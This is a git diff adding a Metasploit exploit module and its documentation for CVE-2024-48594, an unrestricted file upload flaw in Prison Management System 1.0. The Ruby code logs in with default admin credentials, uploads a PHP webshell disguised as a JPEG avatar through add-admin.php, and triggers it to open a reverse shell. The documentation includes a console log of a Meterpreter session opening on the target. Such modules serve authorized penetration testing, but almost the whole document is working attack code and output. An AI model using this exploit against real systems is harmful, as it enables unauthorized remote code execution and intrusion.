diff --git a/documentation/modules/exploit/linux/http/prison_management_rce.md b/documentation/modules/exploit/linux/http/prison_management_rce.md new file mode 100644 index 0000000000000..fff96f36f9c82 --- /dev/null +++ b/documentation/modules/exploit/linux/http/prison_management_rce.md @@ -0,0 +1,91 @@ +## Vulnerable Application + +Prison Management System 1.0 is a PHP application that allows administrators to manage prison records. +The application contains an unrestricted file upload vulnerability (CVE-2024-48594) in the avatar +upload functionality of the add-admin.php endpoint. The application fails to properly validate the +uploaded file type, allowing an authenticated attacker to upload a PHP file and achieve remote code +execution. + +The vulnerable application can be downloaded from: +https://www.sourcecodester.com/sql/17287/prison-management-system.html + +Installation requires a standard LAMP stack (Linux, Apache, MySQL, PHP). + +## Verification Steps + +1. Install Prison Management System 1.0 on a target system +2. Start msfconsole +3. Do: `use exploit/multi/http/prison_management_rce` +4. Do: `set RHOSTS ` +5. Do: `set RPORT ` +6. Do: `set SSL true` (if using HTTPS) +7. Do: `set USERNAME ` +8. Do: `set PASSWORD ` +9. Do: `set LHOST ` +10. Do: `run` +11. You should get a shell. + +## Options + +### USERNAME + +The username to authenticate with. Default: `admin` + +### PASSWORD + +The password to authenticate with. Default: `admin123` + +The base path to Prison Management System. Default: `/` + +## Scenarios + +### Prison Management System 1.0 on Ubuntu 20.04 with Apache + +``` +msf exploit(linux/http/prison_management_rce) > options + +Module options (exploit/linux/http/prison_management_rce): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PASSWORD admin123 yes Password for authentication + Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http + RHOSTS 192.168.223.103 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 9443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to Prison Management System + USERNAME admin yes Username for authentication + VHOST no HTTP server virtual host + + +Payload options (php/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.45.222 yes The listen address (an interface may be specified) + LPORT 9443 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 PHP + +View the full module info with the info, or info -d command. + +msf exploit(linux/http/prison_management_rce) > run +[*] Started reverse TCP handler on 192.168.45.222:9443 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. Prison Management System login page detected +[*] Attempting to authenticate as admin... +[+] Successfully authenticated! +[*] Uploading webshell as EXBCiWAs.php... +[+] Webshell uploaded to /uploadImage/Profile/EXBCiWAs.php +[*] Triggering payload execution... +[*] Sending stage (41224 bytes) to 192.168.223.103 +[+] Deleted EXBCiWAs.php +[*] Meterpreter session 2 opened (192.168.45.222:9443 -> 192.168.223.103:48250) at 2025-12-26 07:15:02 +0200 +meterpreter > getuid +Server username: www-data +``` diff --git a/modules/exploits/linux/http/prison_management_rce.rb b/modules/exploits/linux/http/prison_management_rce.rb new file mode 100644 index 0000000000000..88955e7d1b86e --- /dev/null +++ b/modules/exploits/linux/http/prison_management_rce.rb @@ -0,0 +1,192 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Prison Management System 1.0 Authenticated RCE via Unrestricted File Upload', + 'Description' => %q{ + This module exploits an unrestricted file upload vulnerability in Prison Management System 1.0. + An authenticated user can upload a PHP file with arbitrary content by abusing the avatar upload + functionality in the add-admin.php endpoint. The application fails to properly validate the + uploaded file type, allowing an attacker to upload a PHP webshell. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Alexandru Ionut Raducu', + ], + 'References' => [ + ['CVE', '2024-48594'], + ['URL', 'https://www.sourcecodester.com/sql/17287/prison-management-system.html'] + ], + 'Platform' => ['php', 'unix', 'linux'], + 'Arch' => [ARCH_PHP, ARCH_CMD], + 'Targets' => [ + [ + 'PHP', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, + 'Type' => :php + } + ], + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }, + 'Type' => :unix_cmd + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X64, ARCH_X86], + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, + 'Type' => :linux_dropper + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => '2024-10-28', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'The base path to Prison Management System', '/']), + OptString.new('USERNAME', [true, 'Username for authentication', 'admin']), + OptString.new('PASSWORD', [true, 'Password for authentication', 'admin123']) + ]) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php') + ) + + return CheckCode::Unknown('Connection failed') unless res + return CheckCode::Detected("Unexpected response code: #{res.code}") unless res.code == 200 + + if res.body.include?('Prison Management System') || res.body.include?('txtusername') + return CheckCode::Detected('Prison Management System login page detected') + end + + CheckCode::Safe('Target does not appear to be Prison Management System') + end + + def login + print_status("Attempting to authenticate as #{datastore['USERNAME']}...") + + # First GET request to obtain session cookie + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php'), + 'keep_cookies' => true + ) + + fail_with(Failure::Unreachable, 'Connection failed while fetching login page') unless res + fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200 + + vprint_status("Retrieved session cookie: #{res.get_cookies}") + + # POST login credentials + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'Admin', 'login.php'), + 'keep_cookies' => true, + 'vars_post' => { + 'txtusername' => datastore['USERNAME'], + 'txtpassword' => datastore['PASSWORD'], + 'btnlogin' => '' + } + ) + + fail_with(Failure::Unreachable, 'Connection failed during login') unless res + + fail_with(Failure::NoAccess, 'Login failed - invalid credentials') unless res.code == 302 + + print_good('Successfully authenticated!') + end + + def upload_webshell + @webshell_name = Rex::Text.rand_text_alpha(8) + '.php' + + case target['Type'] + when :php + php_payload = payload.encoded + when :unix_cmd + php_payload = "" + when :linux_dropper + php_payload = "" + end + + # Generate random form data for the new admin user + random_username = Rex::Text.rand_text_alpha(8) + random_fullname = Rex::Text.rand_text_alpha(8) + random_password = Rex::Text.rand_text_alpha(8) + random_phone = Rex::Text.rand_text_numeric(10) + + print_status("Uploading webshell as #{@webshell_name}...") + + # Build multipart form data + form_data = Rex::MIME::Message.new + form_data.add_part(random_username, nil, nil, 'form-data; name="txtusername"') + form_data.add_part(random_fullname, nil, nil, 'form-data; name="txtfullname"') + form_data.add_part(random_password, nil, nil, 'form-data; name="txtpassword"') + form_data.add_part(random_phone, nil, nil, 'form-data; name="txtphone"') + form_data.add_part('', nil, nil, 'form-data; name="btncreate"') + form_data.add_part(php_payload, 'image/jpeg', nil, "form-data; name=\"avatar\"; filename=\"#{@webshell_name}\"") + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'Admin', 'add-admin.php'), + 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", + 'data' => form_data.to_s, + 'keep_cookies' => true + ) + + fail_with(Failure::Unreachable, 'Connection failed during upload') unless res + fail_with(Failure::UnexpectedReply, 'File upload failed') unless res.code == 200 && res.body.include?('User Added Successfully') + + @webshell_path = normalize_uri(target_uri.path, 'uploadImage', 'Profile', @webshell_name) + register_file_for_cleanup(@webshell_name) + + print_good("Webshell uploaded to #{@webshell_path}") + end + + def execute_webshell + print_status('Triggering payload execution...') + + send_request_cgi({ + 'method' => 'GET', + 'uri' => @webshell_path, + 'keep_cookies' => true + }, 5) + end + + def exploit + login + upload_webshell + execute_webshell + end +end